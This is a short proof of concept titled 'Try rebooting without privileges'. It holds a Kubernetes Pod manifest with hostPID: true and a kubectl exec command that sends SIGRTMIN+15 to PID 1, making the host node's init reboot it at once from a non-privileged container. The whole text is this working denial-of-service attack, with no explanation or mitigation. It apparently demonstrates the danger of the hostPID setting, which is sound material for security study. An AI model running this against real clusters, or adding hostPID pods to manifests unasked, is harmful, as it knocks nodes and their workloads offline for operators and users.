Try rebooting without privileges

command.sh

#!/usr/bin/env bash

kubectl exec -it long-running-pids -- kill -SIGRTMIN+15 1

manifest.yaml

apiVersion: v1
kind: Pod
metadata:
  name: long-running-pids
spec:
  hostPID: true
  containers:
    - image: ubuntu:20.04
      name: ubuntu
      command: ["sh", "-c"]
      args: ["sleep 3600"]